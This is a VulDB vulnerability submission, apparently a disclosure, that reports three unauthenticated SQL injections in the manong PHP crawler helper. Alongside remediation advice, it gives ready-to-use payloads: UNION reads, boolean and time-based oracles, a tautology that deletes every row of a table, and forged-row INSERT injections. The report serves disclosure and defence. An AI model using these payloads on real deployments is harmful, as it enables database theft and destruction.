| Titre | nemoTyrant manong master @ 7c9e5228e133b9267ad3a415833bc9bb53193bb4 SQL Injection |
|---|
| Description | Unauthenticated SQL Injection (three sinks) in manong.
Product: manong - PHP/MySQL crawler helper for the Manong Weekly archive.
Vendor: nemoTyrant
Source Code: https://github.com/nemoTyrant/manong
Affected Version: master @ 7c9e5228e133b9267ad3a415833bc9bb53193bb4 (2017-09-25; no tagged release)
Vulnerable File: func.php
Type: CWE-89 - SQL Injection
Authentication Required: none
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L - 9.4 (Critical)
Vulnerability Details:
index.php dispatches the GET parameter 'a' directly to a function name, and the application has no authentication layer.
// index.php:5-6
$action = action(); // returns $_GET['a'] ?: 'index' (func.php:12-14)
$action();
Three request parameters are concatenated raw into PDO statements, giving three independently exploitable unauthenticated SQL injections:
1. a=crawl - func.php:264 - select * from cache where number={$number} - POST number
2. a=del - func.php:275 - delete from cache where id={$id} - GET id
3. a=add - func.php:350-352 - insert into issue (...) values('{$v1}','{$v2}',...) - GET title/desc/href/number/category
None of the three parameters is cast or escaped. PDO::query() / PDO::exec() are used with string interpolation, so no prepared statements are in play.
Prerequisites:
None. All three endpoints are reachable with a single unauthenticated request. No configuration, account, session cookie or CSRF token is required.
Note on sink 3: add() returns early unless newcate or category is non-empty. A successful sink-3 request must carry newcate=<value> (or category=<value>). Without it the response is {"res":0,"msg":"fill category"} and the INSERT is never built.
Reproduction Steps:
Deploy at commit 7c9e5228e133b9267ad3a415833bc9bb53193bb4, serve the repository root with PHP, and point the PDO DSN in func.php:240 at a MySQL instance holding the repo's own db.sql / issue.sql schema.
Sink 1 - a=crawl: UNION-based full read (data echoed into the page)
POST /index.php?a=crawl
number=0 UNION SELECT 1,version(),database(),4,5,6-- -
Response echoes: value='5.7.26' value='manong'
Arbitrary table content readable:
number=0 UNION SELECT 1,group_concat(category),3,4,5,6 FROM issue-- -
Boolean oracle:
number=1 AND 1=1 -> 1 item rendered
number=1 AND 1=2 -> 0 items
Sink 2 - a=del: boolean / time-based oracle and mass deletion
GET /index.php?a=del&id=3 AND 1=1 -> {"res":1}
GET /index.php?a=del&id=3 AND 1=2 -> {"res":0}
GET /index.php?a=del&id=1 AND SLEEP(4) -> 4.05 s vs 0.05 s control
GET /index.php?a=del&id=1 OR 1=1 -> {"res":1}, cache table emptied (3 rows -> 0)
Sink 3 - a=add: INSERT injection (attacker-shaped rows)
Requires newcate.
GET /index.php?a=add&title=x','d',(select version()),'1','C','0',0,0)-- -&desc=&href=&number=1&newcate=C
-> {"res":1,"msg":"success","cate":"C"} row id=3470: x / d / 5.7.26 / 1 / C
Fully attacker-controlled row:
GET /index.php?a=add&title=x3','ANYDESC','http://evil','777','EVIL','AAAA',0,0)-- -&desc=&href=&number=1&newcate=C
-> row id=3471: x3 / ANYDESC / http://evil / 777 / EVIL
Control without newcate: {"res":0,"msg":"fill category"} INSERT never built.
Verified twice, on two independent stacks:
MySQL 8.0.39 / PHP 8.4 - all three sinks work
MySQL 5.7.26 / PHP 7.3.4 - all three sinks work
The same payloads work unchanged on both.
Impact:
- Full database read. UNION sink echoes arbitrary query results into HTTP response.
- Data destruction. DELETE sink accepts tautology and removes every row of cache table.
- Row forging / stored content control. INSERT sink writes attacker-controlled rows into issue table, including control over href and category.
Boundaries of the Primitive (verified):
- No stacked queries. All three sinks go through single-statement PDO::query()/PDO::exec().
- DELETE sink confined to cache table; table name is literal, only id expression injectable. Primary issue table not reachable by that statement.
- UNION sink constrained by column count of select * from cache (6 columns).
- No credentials exposed: cache and issue hold public archive data.
Remediation:
- Replace interpolated statements with PDO prepared statements and bound parameters in cache() (func.php:264), del_cache() (func.php:275) and arr2sql() (func.php:348-352).
- Cast numeric parameters: $number = (int)$_POST['number']; $id = (int)$_GET['id'];
- Remove unauthenticated dynamic dispatch at index.php:5-6, or whitelist permitted action names.
- Gate mutating actions (del, add) behind authentication and CSRF token.
Vendor notified via GitHub issue: https://github.com/nemoTyrant/manong/issues/20
|
|---|
| La source | ⚠️ https://gist.github.com/asdfghjkl12345678910111/c0765c971814f0eadc901d3719ee3f45 |
|---|
| Utilisateur | hbynb (UID 101682) |
|---|
| Soumission | 29/09/2026 12:38 (il y a 18 jours) |
|---|
| Modérer | 17/10/2026 09:15 (18 days later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 421574 [nemoTyrant manong func.php cache/del_cache/arr2sql injection SQL] |
|---|
| Points | 20 |
|---|